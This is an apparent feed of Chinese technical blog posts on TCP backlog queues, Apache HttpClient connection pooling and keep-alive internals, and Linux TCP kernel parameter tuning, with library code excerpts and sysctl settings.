  • NO.29733 server又重复了NO.13434包的流程,原因也一样,参见NO.13434包注释
  • NO.29765 client只好跟NO.13467一样,重发ACK包给server。
  • NO.44507 重复NO.16573的步骤
  • NO.79195 继续重复NO.16573的步骤
  • NO.79195 server立刻直接回了RST包,结束会话

详细的包内容备注在后面,需要关注的不光是包发送顺序,包的seq重传之类,还有一个重要的,TCP retransmission timeout,即TCP超时重传。对于这里已经抓到的数据包,wireshark可以看下每次超时重传的时间间隔,如下图: 
tcp ack rto 重传数据包 
RTO的重传次数是系统可配置的,见/proc/sys/net/ipv4/tcp_retries1 ,而重传时间间隔,间隔增长频率等,是比较复杂的方式计算出来的,见《  TCP/IP重传超时–RTO 》。

backlog大小设置为多少合适? 
从上面的结论中可以看出,这跟FPM的处理能力有关,backlog太大了,导致FPM处理不过来,nginx那边等待超时,断开连接,报504 gateway timeout错。同时FPM处理完准备write 数据给nginx时,发现TCP连接断开了,报“Broken pipe”。backlog太小的话,NGINX之类client,根本进入不了FPM的accept queue,报“502 Bad Gateway”错。所以,这还得去根据FPM的QPS来决定backlog的大小。计算方式最好为QPS=backlog。对了这里的QPS是正常业务下的QPS,千万别用echo hello world这种结果的QPS去欺骗自己。当然,backlog的数值,如果指定在FPM中的话,记得把操作系统的net.core.somaxconn设置的起码比它大。另外,ubuntu server 1404上/proc/sys/net/core/somaxconn 跟/proc/sys/net/ipv4/tcp_max_syn_backlog 默认值都是128,这个问题,我为了抓数据,测了好几遍才发现。 
对于测试时,TCP数据包已经drop掉的未进入syns queue,以及未进入accept queue的数据包,可以用netstat -s来查看:

root@vmware-cnxct:/#netstat-sTcpExt://...5times the listen queue of a socket overflowed24SYNsto LISTEN sockets dropped//未进入syns queue的数据包数量packets directly queued to recvmsg prequeue.8bytes directlyinprocess contextfrombacklog//...TCPSackShiftFallback:27TCPBacklogDrop:2334//未进入accept queue的数据包数量TCPTimeWaitOverflow:229347TCPReqQFullDoCookies:11591TCPRcvCoalesce:29062//...

经过相关资料查阅,技术点研究,再做一番测试之后,又加深了我对TCP通讯知识点的记忆,以及对sync queue、accept queue所处环节知识点薄弱的补充,也是蛮有收获,这些知识,在以后的纯TCP通讯程序研发过程中,包括高性能的互联网通讯中,想必有很大帮助,希望自己能继续找些案例来实践检验一下对这些知识的掌握。

HttpComponents HttpClient连接池-总结_weixin_46073333的博客-CSDN博客_httpcomponents http连接池

$
0
0
在之前文章里我们以学习为目的介绍了 Apache HttpComponents HttpClient 连接池这个组件,包括如下项 :

httpclient连接池中的关键类和数据结构

httpclient连接池中http连接的申请

httpclient连接池中http连接的释放

httpclient连接池中http连接的重用

httpclient连接池中http连接的keep alive

httpclient连接池中http连接的可用性检查

httpclient连接池中空闲http连接的清理

httpclient连接池中http请求的retry

httpclient连接池对SSL请求的支持

httpclient连接池中的长连接

httpclient连接池的使用建议

这里把以前文章做如下汇总,以方便大家阅读学习:



当然除了这个组件之外,我们也会经常使用 Spring 的 RestTemplate 对象实例来发送 https请求,一般情况下 RestTemplate 对象实例也是会整合 Apache HttpComponents HttpClient 组件,所以我们在使用 RestTemplate 的时候也可以考虑以上作为参考。



对于 httpclient 连接池使用一般考虑以下几点:

向连接池申请连接的超时时间

连接建立的超时时间,即 socket 进行 3 次握手建立连接的超时时间

连接超时时间,即 socket 读写超时时间

设置最大 redirect 次数

是否开启可用性检查

global 连接池中最大的连接数

individual route 连接池中最大的连接数

请求重试次数

设置ssl 请求的证书 trust 策略和 cn host name 验证策略

开启对于空闲连接以及过期连接的清理,设置空闲连接的时长

是否重用池化对象以及使用长连接

我们通过如下代码设置上述 items :

RequestConfig requestConfig = RequestConfig.custom()
                    .setConnectionRequestTimeout(10000)//设置连接池申请连接的超时时间,默认-1为无限时间
                    .setConnectTimeout(5000)//设置socket进行3次握手建立连接的超时时间
                    .setSocketTimeout(8000)//设置连接超时时间,即socket读写超时时间
                    .setMaxRedirects(50)//设置最大的redirect次数,默认为50
                    .setStaleConnectionCheckEnabled(Boolean.TRUE)//设置开启可用性检查,默认不开启
                    .build();
 
 
CloseableHttpClient htttpClient = HttpClients.custom()
                    .setDefaultRequestConfig(requestConfig)
                    .setMaxConnPerRoute(50)//设置individual route连接池中最大的连接数,默认为2
                    .setMaxConnTotal(500)//设置global连接池中最大的连接数,默认为20
                    .setConnectionTimeToLive(-1, TimeUnit.MICROSECONDS)//设置连接池中连接存活时间,默认-1代表无限存活,连接使用之后由response header "Keep-Alive: timeout"决定。
                    .evictIdleConnections(60000, TimeUnit.MILLISECONDS)//开启空袭连接清理线程,设置连接池中连接最大空闲时间,以及连接清理线程的sleep时间,默认为10秒
                    .evictExpiredConnections()//开启过期连接清理线程,过期时间默认为-1,连接使用后由response header "Keep-Alive: timeout"决定。
                    //.setRetryHandler(retryHandler)//设置重试策略,默认3次重试
                    //.setSSLContext(sslContext)//设置ssl请求上下文
                    //.setSSLHostnameVerifier(hostnameVerifier)//设置ssl证书cn host name验证策略,默认为验证cn host name
                    .build();
如果希望重用池化对象并且保持长连接,那么务必请调用 EntityUtils 类之中的静态方法toByteArray(),toString(),consume(),consumeQuietly()等。如果不希望重用池化对象,同时也不希望使用长连接,那么请调用 CloseableHttpResponse 的close() 方法。另外我们也会经常使用 Spring 的 RestTemplate 来发送 https 请求,对于 RestTemplate 一般也是会去整合 Apache HttpComponents HttpClient 组件,所以在使用 RestTemplate 的时候也请考虑以上各个 items 的设置。

Http持久连接与HttpClient连接池 - kingszelda - 博客园

$
0
0

一、背景

  HTTP协议是无状态的协议,即每一次请求都是互相独立的。因此它的最初实现是,每一个http请求都会打开一个tcp socket连接,当交互完毕后会关闭这个连接。

  HTTP协议是全双工的协议,所以建立连接与断开连接是要经过三次握手与四次挥手的。显然在这种设计中,每次发送Http请求都会消耗很多的额外资源,即连接的建立与销毁。

  于是,HTTP协议的也进行了发展,通过持久连接的方法来进行socket连接复用。


  从图中可以看到:

  1. 在串行连接中,每次交互都要打开关闭连接
  2. 在持久连接中,第一次交互会打开连接,交互结束后连接并不关闭,下次交互就省去了建立连接的过程。

  持久连接的实现有两种:HTTP/1.0+的keep-alive与HTTP/1.1的持久连接。

二、HTTP/1.0+的Keep-Alive

  从1996年开始,很多HTTP/1.0浏览器与服务器都对协议进行了扩展,那就是“keep-alive”扩展协议。

  注意,这个扩展协议是作为1.0的补充的“实验型持久连接”出现的。keep-alive已经不再使用了,最新的HTTP/1.1规范中也没有对它进行说明,只是很多应用延续了下来。

  使用HTTP/1.0的客户端在首部中加上"Connection:Keep-Alive",请求服务端将一条连接保持在打开状态。服务端如果愿意将这条连接保持在打开状态,就会在响应中包含同样的首部。如果响应中没有包含"Connection:Keep-Alive"首部,则客户端会认为服务端不支持keep-alive,会在发送完响应报文之后关闭掉当前连接。

  通过keep-alive补充协议,客户端与服务器之间完成了持久连接,然而仍然存在着一些问题:

  • 在HTTP/1.0中keep-alive不是标准协议,客户端必须发送Connection:Keep-Alive来激活keep-alive连接。
  • 代理服务器可能无法支持keep-alive,因为一些代理是"盲中继",无法理解首部的含义,只是将首部逐跳转发。所以可能造成客户端与服务端都保持了连接,但是代理不接受该连接上的数据。

三、HTTP/1.1的持久连接

  HTTP/1.1采取持久连接的方式替代了Keep-Alive。

  HTTP/1.1的连接默认情况下都是持久连接。如果要显式关闭,需要在报文中加上Connection:Close首部。即在HTTP/1.1中,所有的连接都进行了复用。

  然而如同Keep-Alive一样,空闲的持久连接也可以随时被客户端与服务端关闭。不发送Connection:Close不意味着服务器承诺连接永远保持打开。

四、HttpClient如何生成持久连接

  HttpClien中使用了连接池来管理持有连接,同一条TCP链路上,连接是可以复用的。HttpClient通过连接池的方式进行连接持久化。

  其实“池”技术是一种通用的设计,其设计思想并不复杂:

  1. 当有连接第一次使用的时候建立连接
  2. 结束时对应连接不关闭,归还到池中
  3. 下次同个目的的连接可从池中获取一个可用连接
  4. 定期清理过期连接

  所有的连接池都是这个思路,不过我们看HttpClient源码主要关注两点:

  • 连接池的具体设计方案,以供以后自定义连接池参考
  • 如何与HTTP协议对应上,即理论抽象转为代码的实现

4.1 HttpClient连接池的实现

  HttpClient关于持久连接的处理在下面的代码中可以集中体现,下面从MainClientExec摘取了和连接池相关的部分,去掉了其他部分:

复制代码
public class MainClientExec implements ClientExecChain {

    @Override
    public CloseableHttpResponse execute(
            final HttpRoute route,
            final HttpRequestWrapper request,
            final HttpClientContext context,
            final HttpExecutionAware execAware) throws IOException, HttpException {
     //从连接管理器HttpClientConnectionManager中获取一个连接请求ConnectionRequest
        final ConnectionRequest connRequest = connManager.requestConnection(route, userToken);final HttpClientConnection managedConn;
        final int timeout = config.getConnectionRequestTimeout();   
//从连接请求ConnectionRequest中获取一个被管理的连接HttpClientConnection managedConn = connRequest.get(timeout > 0 ? timeout : 0, TimeUnit.MILLISECONDS);      //将连接管理器HttpClientConnectionManager与被管理的连接HttpClientConnection交给一个ConnectionHolder持有 final ConnectionHolder connHolder = new ConnectionHolder(this.log, this.connManager, managedConn); try { HttpResponse response; if (!managedConn.isOpen()) {
          //如果当前被管理的连接不是出于打开状态,需要重新建立连接 establishRoute(proxyAuthState, managedConn, route, request, context); }        //通过连接HttpClientConnection发送请求 response = requestExecutor.execute(request, managedConn, context);        //通过连接重用策略判断是否连接可重用 if (reuseStrategy.keepAlive(response, context)) { //获得连接有效期 final long duration = keepAliveStrategy.getKeepAliveDuration(response, context); //设置连接有效期 connHolder.setValidFor(duration, TimeUnit.MILLISECONDS);
          //将当前连接标记为可重用状态 connHolder.markReusable(); } else { connHolder.markNonReusable(); } } final HttpEntity entity = response.getEntity(); if (entity == null || !entity.isStreaming()) { //将当前连接释放到池中,供下次调用 connHolder.releaseConnection(); return new HttpResponseProxy(response, null); } else { return new HttpResponseProxy(response, connHolder); } }
复制代码

这里看到了在Http请求过程中对连接的处理是和协议规范是一致的,这里要展开讲一下具体实现。

PoolingHttpClientConnectionManager是HttpClient默认的连接管理器,首先通过requestConnection()获得一个连接的请求,注意这里不是连接。

复制代码
public ConnectionRequest requestConnection(
            final HttpRoute route,
            final Object state) {final Future<CPoolEntry> future = this.pool.lease(route, state, null);
        return new ConnectionRequest() {
            @Override
            public boolean cancel() {
                return future.cancel(true);
            }
            @Override
            public HttpClientConnection get(
                    final long timeout,
                    final TimeUnit tunit) throws InterruptedException, ExecutionException, ConnectionPoolTimeoutException {
                final HttpClientConnection conn = leaseConnection(future, timeout, tunit);
                if (conn.isOpen()) {
                    final HttpHost host;
                    if (route.getProxyHost() != null) {
                        host = route.getProxyHost();
                    } else {
                        host = route.getTargetHost();
                    }
                    final SocketConfig socketConfig = resolveSocketConfig(host);
                    conn.setSocketTimeout(socketConfig.getSoTimeout());
                }
                return conn;
            }
        };
    }
复制代码

  可以看到返回的ConnectionRequest对象实际上是一个持有了Future<CPoolEntry>,CPoolEntry是被连接池管理的真正连接实例。

  从上面的代码我们应该关注的是:

  • Future<CPoolEntry> future = this.pool.lease(route, state, null)
    •   如何从连接池CPool中获得一个异步的连接,Future<CPoolEntry>
  • HttpClientConnection conn = leaseConnection(future, timeout, tunit)
    •   如何通过异步连接Future<CPoolEntry>获得一个真正的连接HttpClientConnection

4.2 Future<CPoolEntry>

看一下CPool是如何释放一个Future<CPoolEntry>的,AbstractConnPool核心代码如下:

复制代码
    private E getPoolEntryBlocking(
            final T route, final Object state,
            final long timeout, final TimeUnit tunit,
            final Future<E> future) throws IOException, InterruptedException, TimeoutException {
     //首先对当前连接池加锁,当前锁是可重入锁ReentrantLockthis.lock.lock();
        try {   
        //获得一个当前HttpRoute对应的连接池,对于HttpClient的连接池而言,总池有个大小,每个route对应的连接也是个池,所以是“池中池” final RouteSpecificPool<T, C, E> pool = getPool(route); E entry; for (;;) { Asserts.check(!this.isShutDown, "Connection pool shut down");
          //死循环获得连接 for (;;) {
            //从route对应的池中拿连接,可能是null,也可能是有效连接 entry = pool.getFree(state);
            //如果拿到null,就退出循环 if (entry == null) { break; }
            //如果拿到过期连接或者已关闭连接,就释放资源,继续循环获取 if (entry.isExpired(System.currentTimeMillis())) { entry.close(); } if (entry.isClosed()) { this.available.remove(entry); pool.free(entry, false); } else {
              //如果拿到有效连接就退出循环 break; } }
          //拿到有效连接就退出 if (entry != null) { this.available.remove(entry); this.leased.add(entry); onReuse(entry); return entry; }           //到这里证明没有拿到有效连接,需要自己生成一个 final int maxPerRoute = getMax(route); //每个route对应的连接最大数量是可配置的,如果超过了,就需要通过LRU清理掉一些连接 final int excess = Math.max(0, pool.getAllocatedCount() + 1 - maxPerRoute); if (excess > 0) { for (int i = 0; i < excess; i++) { final E lastUsed = pool.getLastUsed(); if (lastUsed == null) { break; } lastUsed.close(); this.available.remove(lastUsed); pool.remove(lastUsed); } }           //当前route池中的连接数,没有达到上线 if (pool.getAllocatedCount() < maxPerRoute) { final int totalUsed = this.leased.size(); final int freeCapacity = Math.max(this.maxTotal - totalUsed, 0);
            //判断连接池是否超过上线,如果超过了,需要通过LRU清理掉一些连接 if (freeCapacity > 0) { final int totalAvailable = this.available.size();
               //如果空闲连接数已经大于剩余可用空间,则需要清理下空闲连接 if (totalAvailable > freeCapacity - 1) { if (!this.available.isEmpty()) { final E lastUsed = this.available.removeLast(); lastUsed.close(); final RouteSpecificPool<T, C, E> otherpool = getPool(lastUsed.getRoute()); otherpool.remove(lastUsed); } }
              //根据route建立一个连接 final C conn = this.connFactory.create(route);
              //将这个连接放入route对应的“小池”中 entry = pool.add(conn);
              //将这个连接放入“大池”中 this.leased.add(entry); return entry; } }          //到这里证明没有从获得route池中获得有效连接,并且想要自己建立连接时当前route连接池已经到达最大值,即已经有连接在使用,但是对当前线程不可用 boolean success = false; try { if (future.isCancelled()) { throw new InterruptedException("Operation interrupted"); }
            //将future放入route池中等待 pool.queue(future);
            //将future放入大连接池中等待 this.pending.add(future);
            //如果等待到了信号量的通知,success为true if (deadline != null) { success = this.condition.awaitUntil(deadline); } else { this.condition.await(); success = true; } if (future.isCancelled()) { throw new InterruptedException("Operation interrupted"); } } finally { //从等待队列中移除 pool.unqueue(future); this.pending.remove(future); } //如果没有等到信号量通知并且当前时间已经超时,则退出循环 if (!success && (deadline != null && deadline.getTime() <= System.currentTimeMillis())) { break; } }
       //最终也没有等到信号量通知,没有拿到可用连接,则抛异常 throw new TimeoutException("Timeout waiting for connection"); } finally {
       //释放对大连接池的锁 this.lock.unlock(); } }
复制代码

  上面的代码逻辑有几个重要点:

  • 连接池有个最大连接数,每个route对应一个小连接池,也有个最大连接数
  • 不论是大连接池还是小连接池,当超过数量的时候,都要通过LRU释放一些连接
  • 如果拿到了可用连接,则返回给上层使用
  • 如果没有拿到可用连接,HttpClient会判断当前route连接池是否已经超过了最大数量,没有到上限就会新建一个连接,并放入池中
  • 如果到达了上限,就排队等待,等到了信号量,就重新获得一次,等待不到就抛超时异常
  • 通过线程池获取连接要通过ReetrantLock加锁,保证线程安全

  到这里为止,程序已经拿到了一个可用的CPoolEntry实例,或者抛异常终止了程序。

4.3 HttpClientConnection

复制代码
    protected HttpClientConnection leaseConnection(
            final Future<CPoolEntry> future,
            final long timeout,
            final TimeUnit tunit) throws InterruptedException, ExecutionException, ConnectionPoolTimeoutException {
        final CPoolEntry entry;
        try {   
       //从异步操作Future<CPoolEntry>中获得CPoolEntry entry = future.get(timeout, tunit); if (entry == null || future.isCancelled()) { throw new InterruptedException(); } Asserts.check(entry.getConnection() != null, "Pool entry with no connection"); if (this.log.isDebugEnabled()) { this.log.debug("Connection leased: " + format(entry) + formatStats(entry.getRoute())); }
       //获得一个CPoolEntry的代理对象,对其操作都是使用同一个底层的HttpClientConnection return CPoolProxy.newProxy(entry); } catch (final TimeoutException ex) { throw new ConnectionPoolTimeoutException("Timeout waiting for connection from pool"); } }
复制代码

五、HttpClient如何复用持久连接?

  在上一章中,我们看到了HttpClient通过连接池来获得连接,当需要使用连接的时候从池中获得。

  对应着第三章的问题:

  1. 当有连接第一次使用的时候建立连接
  2. 结束时对应连接不关闭,归还到池中
  3. 下次同个目的的连接可从池中获取一个可用连接
  4. 定期清理过期连接

  我们在第四章中看到了HttpClient是如何处理1、3的问题的,那么第2个问题是怎么处理的呢?

  即HttpClient如何判断一个连接在使用完毕后是要关闭,还是要放入池中供他人复用?再看一下MainClientExec的代码

复制代码
          //发送Http连接   
response = requestExecutor.execute(request, managedConn, context); //根据重用策略判断当前连接是否要复用 if (reuseStrategy.keepAlive(response, context)) { //需要复用的连接,获取连接超时时间,以response中的timeout为准 final long duration = keepAliveStrategy.getKeepAliveDuration(response, context); if (this.log.isDebugEnabled()) { final String s;
               //timeout的是毫秒数,如果没有设置则为-1,即没有超时时间 if (duration > 0) { s = "for " + duration + " " + TimeUnit.MILLISECONDS; } else { s = "indefinitely"; } this.log.debug("Connection can be kept alive " + s); }
            //设置超时时间,当请求结束时连接管理器会根据超时时间决定是关闭还是放回到池中 connHolder.setValidFor(duration, TimeUnit.MILLISECONDS); //将连接标记为可重用
            connHolder.markReusable(); } else {
            //将连接标记为不可重用 connHolder.markNonReusable(); }
复制代码

  可以看到,当使用连接发生过请求之后,有连接重试策略来决定该连接是否要重用,如果要重用就会在结束后交给HttpClientConnectionManager放入池中。

  那么连接复用策略的逻辑是怎么样的呢?

复制代码
public class DefaultClientConnectionReuseStrategy extends DefaultConnectionReuseStrategy {

    public static final DefaultClientConnectionReuseStrategy INSTANCE = new DefaultClientConnectionReuseStrategy();

    @Override
    public boolean keepAlive(final HttpResponse response, final HttpContext context) {
     //从上下文中拿到request
        final HttpRequest request = (HttpRequest) context.getAttribute(HttpCoreContext.HTTP_REQUEST);
        if (request != null) {   
       //获得Connection的Header final Header[] connHeaders = request.getHeaders(HttpHeaders.CONNECTION); if (connHeaders.length != 0) { final TokenIterator ti = new BasicTokenIterator(new BasicHeaderIterator(connHeaders, null)); while (ti.hasNext()) { final String token = ti.nextToken();
            //如果包含Connection:Close首部,则代表请求不打算保持连接,会忽略response的意愿,该头部这是HTTP/1.1的规范 if (HTTP.CONN_CLOSE.equalsIgnoreCase(token)) { return false; } } } }
     //使用父类的的复用策略 return super.keepAlive(response, context); } }
复制代码

  看一下父类的复用策略

复制代码
            if (canResponseHaveBody(request, response)) {
                final Header[] clhs = response.getHeaders(HTTP.CONTENT_LEN);
                //如果reponse的Content-Length没有正确设置,则不复用连接   
          //因为对于持久化连接,两次传输之间不需要重新建立连接,则需要根据Content-Length确认内容属于哪次请求,以正确处理“粘包”现象
//所以,没有正确设置Content-Length的response连接不能复用 if (clhs.length == 1) { final Header clh = clhs[0]; try { final int contentLen = Integer.parseInt(clh.getValue()); if (contentLen < 0) { return false; } } catch (final NumberFormatException ex) { return false; } } else { return false; } } if (headerIterator.hasNext()) { try { final TokenIterator ti = new BasicTokenIterator(headerIterator); boolean keepalive = false; while (ti.hasNext()) { final String token = ti.nextToken();
            //如果response有Connection:Close首部,则明确表示要关闭,则不复用 if (HTTP.CONN_CLOSE.equalsIgnoreCase(token)) { return false;
            //如果response有Connection:Keep-Alive首部,则明确表示要持久化,则复用 } else if (HTTP.CONN_KEEP_ALIVE.equalsIgnoreCase(token)) { keepalive = true; } } if (keepalive) { return true; } } catch (final ParseException px) { return false; } }      //如果response中没有相关的Connection首部说明,则高于HTTP/1.0版本的都复用连接 return !ver.lessEquals(HttpVersion.HTTP_1_0);
复制代码

  总结一下:

  • 如果request首部中包含Connection:Close,不复用
  • 如果response中Content-Length长度设置不正确,不复用
  • 如果response首部包含Connection:Close,不复用
  • 如果reponse首部包含Connection:Keep-Alive,复用
  • 都没命中的情况下,如果HTTP版本高于1.0则复用

  从代码中可以看到,其实现策略与我们第二、三章协议层的约束是一致的。

 六、HttpClient如何清理过期连接

  在HttpClient4.4版本之前,在从连接池中获取重用连接的时候会检查下是否过期,过期则清理。

  之后的版本则不同,会有一个单独的线程来扫描连接池中的连接,发现有离最近一次使用超过设置的时间后,就会清理。默认的超时时间是2秒钟。 

复制代码
    public CloseableHttpClient build() {   
//如果指定了要清理过期连接与空闲连接,才会启动清理线程,默认是不启动的 if (evictExpiredConnections || evictIdleConnections) {
          //创造一个连接池的清理线程 final IdleConnectionEvictor connectionEvictor = new IdleConnectionEvictor(cm, maxIdleTime > 0 ? maxIdleTime : 10, maxIdleTimeUnit != null ? maxIdleTimeUnit : TimeUnit.SECONDS, maxIdleTime, maxIdleTimeUnit); closeablesCopy.add(new Closeable() { @Override public void close() throws IOException { connectionEvictor.shutdown(); try { connectionEvictor.awaitTermination(1L, TimeUnit.SECONDS); } catch (final InterruptedException interrupted) { Thread.currentThread().interrupt(); } } });
          //执行该清理线程 connectionEvictor.start(); }
复制代码

  可以看到在HttpClientBuilder进行build的时候,如果指定了开启清理功能,会创建一个连接池清理线程并运行它。

复制代码
    public IdleConnectionEvictor(
            final HttpClientConnectionManager connectionManager,
            final ThreadFactory threadFactory,
            final long sleepTime, final TimeUnit sleepTimeUnit,
            final long maxIdleTime, final TimeUnit maxIdleTimeUnit) {
        this.connectionManager = Args.notNull(connectionManager, "Connection manager");
        this.threadFactory = threadFactory != null ? threadFactory : new DefaultThreadFactory();
        this.sleepTimeMs = sleepTimeUnit != null ? sleepTimeUnit.toMillis(sleepTime) : sleepTime;
        this.maxIdleTimeMs = maxIdleTimeUnit != null ? maxIdleTimeUnit.toMillis(maxIdleTime) : maxIdleTime;
        this.thread = this.threadFactory.newThread(new Runnable() {
            @Override
            public void run() {
                try {   
            //死循环,线程一直执行 while (!Thread.currentThread().isInterrupted()) {
              //休息若干秒后执行,默认10秒 Thread.sleep(sleepTimeMs);
               //清理过期连接 connectionManager.closeExpiredConnections();
               //如果指定了最大空闲时间,则清理空闲连接 if (maxIdleTimeMs > 0) { connectionManager.closeIdleConnections(maxIdleTimeMs, TimeUnit.MILLISECONDS); } } } catch (final Exception ex) { exception = ex; } } }); }
复制代码

总结一下:

  • 只有在HttpClientBuilder手动设置后,才会开启清理过期与空闲连接
  • 手动设置后,会启动一个线程死循环执行,每次执行sleep一定时间,调用HttpClientConnectionManager的清理方法清理过期与空闲连接。

七、本文总结

  • HTTP协议通过持久连接的方式,减轻了早期设计中的过多连接问题
  • 持久连接有两种方式:HTTP/1.0+的Keep-Avlive与HTTP/1.1的默认持久连接
  • HttpClient通过连接池来管理持久连接,连接池分为两个,一个是总连接池,一个是每个route对应的连接池
  • HttpClient通过异步的Future<CPoolEntry>来获取一个池化的连接
  • 默认连接重用策略与HTTP协议约束一致,根据response先判断Connection:Close则关闭,在判断Connection:Keep-Alive则开启,最后版本大于1.0则开启
  • 只有在HttpClientBuilder中手动开启了清理过期与空闲连接的开关后,才会清理连接池中的连接
  • HttpClient4.4之后的版本通过一个死循环线程清理过期与空闲连接,该线程每次执行都sleep一会,以达到定期执行的效果

  上面的研究是基于HttpClient源码的个人理解,如果有误,希望大家积极留言讨论。


HttpClient连接池的连接保持、超时和失效机制 - zhanjindong - 博客园

$
0
0

HTTP是一种无连接的事务协议,底层使用的还是TCP,连接池复用的就是TCP连接,目的就是在一个TCP连接上进行多次的HTTP请求从而提高性能。每次HTTP请求结束的时候,HttpClient会判断连接是否可以保持,如果可以则交给连接管理器进行管理以备下次重用,否则直接关闭连接。这里涉及到三个问题:

1、如何判断连接是否可以保持?

要想保持连接,首先客户端需要告诉服务器希望保持长连接,这就是所谓的Keep-Alive模式(又称持久连接,连接重用),HTTP1.0中默认是关闭的,需要在HTTP头加入"Connection: Keep-Alive",才能启用Keep-Alive;HTTP1.1中默认启用Keep-Alive,加入"Connection: close ",才关闭。

但客户端设置了Keep-Alive并不能保证连接就可以保持,这里情况比较复。要想在一个TCP上进行多次的HTTP会话,关键是如何判断一次HTTP会话结束了?非Keep-Alive模式下可以使用EOF(-1)来判断,但Keep-Alive时服务器不会自动断开连接,有两种最常见的方式。

使用Conent-Length

顾名思义,Conent-Length表示实体内容长度,客户端(服务器)可以根据这个值来判断数据是否接收完成。当请求的资源是静态的页面或图片,服务器很容易知道内容的大小,但如果遇到动态的内容,或者文件太大想多次发送怎么办?

使用Transfer-Encoding

当需要一边产生数据,一边发给客户端,服务器就需要使用 Transfer-Encoding: chunked 这样的方式来代替 Content-Length,Chunk编码将数据分成一块一块的发送。它由若干个Chunk串连而成,以一个标明长度为0 的chunk标示结束。每个Chunk分为头部和正文两部分,头部内容指定正文的字符总数(十六进制的数字 )和数量单位(一般不写),正文部分就是指定长度的实际内容,两部分之间用回车换行(CRLF) 隔开。在最后一个长度为0的Chunk中的内容是称为footer的内容,是一些附加的Header信息。

对于如何判断消息实体的长度,实际情况还要复杂的多,可以参考这篇文章:https://zhanjindong.com/2015/05/08/http-keep-alive-header

总结下HttpClient如何判断连接是否保持:

  1. 检查返回response报文头的Transfer-Encoding字段,若该字段值存在且不为chunked,则连接不保持,直接关闭。
  2. 检查返回的response报文头的Content-Length字段,若该字段值为空或者格式不正确(多个长度,值不是整数),则连接不保持,直接关闭。
  3. 检查返回的response报文头的Connection字段(若该字段不存在,则为Proxy-Connection字段)值:
    • 如果这俩字段都不存在,则1.1版本默认为保持, 1.0版本默认为连接不保持,直接关闭。
    • 如果字段存在,若字段值为close 则连接不保持,直接关闭;若字段值为keep-alive则连接标记为保持。

2、 保持多长时间?

保持时间计时开始时间为连接交换至连接池的时间。 保持时长计算规则为:获取response中 Keep-Alive字段中timeout值,若该存在,则保持时间为 timeout值*1000,单位毫秒。若不存在,则连接保持时间设置为-1,表示为无穷。

3、保持过程中如何保证连接没有失效?

很难保证。传统阻塞I/O模型,只有当I/O操做的时候,socket才能响应I/O事件。当TCP连接交给连接管理器后,它可能还处于“保持连接”的状态,但是无法监听socket状态和响应I/O事件。如果这时服务器将连接关闭的话,客户端是没法知道这个状态变化的,从而也无法采取适当的手段来关闭连接。

针对这种情况,HttpClient采取一个策略,通过一个后台的监控线程定时的去检查连接池中连接是否还“新鲜”,如果过期了,或者空闲了一定时间则就将其从连接池里删除掉。ClientConnectionManager提供了 closeExpiredConnections和closeIdleConnections两个方法。

参考文章

HTTP协议头部与Keep-Alive模式详解

又见KeepAlive

Linux上TCP的几个内核参数调优 - 无毁的湖光-Al - 博客园

$
0
0

Linux作为一个强大的操作系统,提供了一系列内核参数供我们进行调优。光TCP的调优参数就有50多个。在和线上问题斗智斗勇的过程中,笔者积累了一些在内网环境应该进行调优的参数。在此分享出来,希望对大家有所帮助。

调优清单

好了,在这里先列出调优清单。请记住,这里只是笔者在内网进行TCP内核参数调优的经验,仅供参考。同时,笔者还会在余下的博客里面详细解释了为什么要进行这些调优!

序号内核参数备注
1.1/proc/sys/net/ipv4/tcp_max_syn_backlog2048
1.2/proc/sys/net/core/somaxconn2048
1.3/proc/sys/net/ipv4/tcp_abort_on_overflow1
2.1/proc/sys/net/ipv4/tcp_tw_recycle0NAT环境必须为0
2.2/proc/sys/net/ipv4/tcp_tw_reuse1
3.1/proc/sys/net/ipv4/tcp_syn_retries3
3.2/proc/sys/net/ipv4/tcp_retries25
3.3/proc/sys/net/ipv4/tcp_slow_start_after_idle0

tcp_max_syn_backlog,somaxconn,tcp_abort_on_overflow

tcp_max_syn_backlog,somaxconn,tcp_abort_on_overflow这三个参数是关于
内核TCP连接缓冲队列的设置。如果应用层来不及将已经三次握手建立成功的TCP连接从队列中取出,溢出了这个缓冲队列(全连接队列)之后就会丢弃这个连接。如下图所示:

从而产生一些诡异的现象,这个现象诡异之处就在于,是在TCP第三次握手的时候丢弃连接

就如图中所示,第二次握手的SYNACK发送给client端了。所以就会出现client端认为连接成功,而Server端确已经丢弃了这个连接的现象!由于无法感知到Server已经丢弃了连接。
所以如果没有心跳的话,只有在发出第一个请求后,Server才会发送一个reset端通知这个连接已经被丢弃了,建立连接后第二天再用,也会报错!所以我们要调大Backlog队列!

echo 2048 > /proc/sys/net/ipv4/tcp_max_syn_backlog
echo 2048 > /proc/sys/net/core/somaxconn

当然了,为了尽量避免第一笔调用失败问题,我们也同时要设置

echo 1 > /proc/sys/net/ipv4/tcp_abort_on_overflow

设置这个值以后,Server端内核就会在这个连接被溢出之后发送一个reset包给client端。

如果我们的client端是NIO的话,就可以收到一个socket close的事件以感知到连接被关闭!

注意Java默认的Backlog是50

这个TCP Backlog的队列大小值是min(tcp_max_syn_backlog,somaxconn,应用层设置的backlog),而Java如果不做额外设置,Backlog默认值仅仅只有50。C语言在使用listen调用的时候需要传进Backlog参数。

tcp_tw_recycle

tcp_tw_recycle这个参数一般是用来抑制TIME_WAIT数量的,但是它有一个副作用。即在tcp_timestamps开启(Linux默认开启),tcp_tw_recycle会经常导致下面这种现象。

也即,如果你的Server开启了tcp_tw_recycle,那么别人如果通过NAT之类的调用你的Server的话,NAT后面的机器只有一台机器能正常工作,其它情况大概率失败。具体原因呢由下图所示:

在tcp_tw_recycle=1同时tcp_timestamps(默认开启的情况下),对同一个IP的连接会做这样的限制,也即之前后建立的连接的时间戳必须要大于之前建立连接的最后时间戳,但是经过NAT的一个IP后面是不同的机器,时间戳相差极大,就会导致内核直接丢弃时间戳较低的连接的现象。由于这个参数导致的问题,高版本内核已经去掉了这个参数。如果考虑TIME_WAIT问题,可以考虑设置一下

echo 1 > /proc/sys/net/ipv4/tcp_tw_reuse

tcp_syn_retries

这个参数值得是client发送SYN如果server端不回复的话,重传SYN的次数。对我们的直接影响呢就是connet建立连接时的超时时间。当然Java通过一些C原生系统调用的组合使得我们可以进行超时时间的设置。在Linux里面默认设置是5,下面给出建议值3和默认值5之间的超时时间。

tcp_syn_retriestimeout
1min(so_sndtimeo,3s)
2min(so_sndtimeo,7s)
3min(so_sndtimeo,15s)
4min(so_sndtimeo,31s)
5min(so_sndtimeo,63s)

下图给出了,重传和超时情况的对应图:

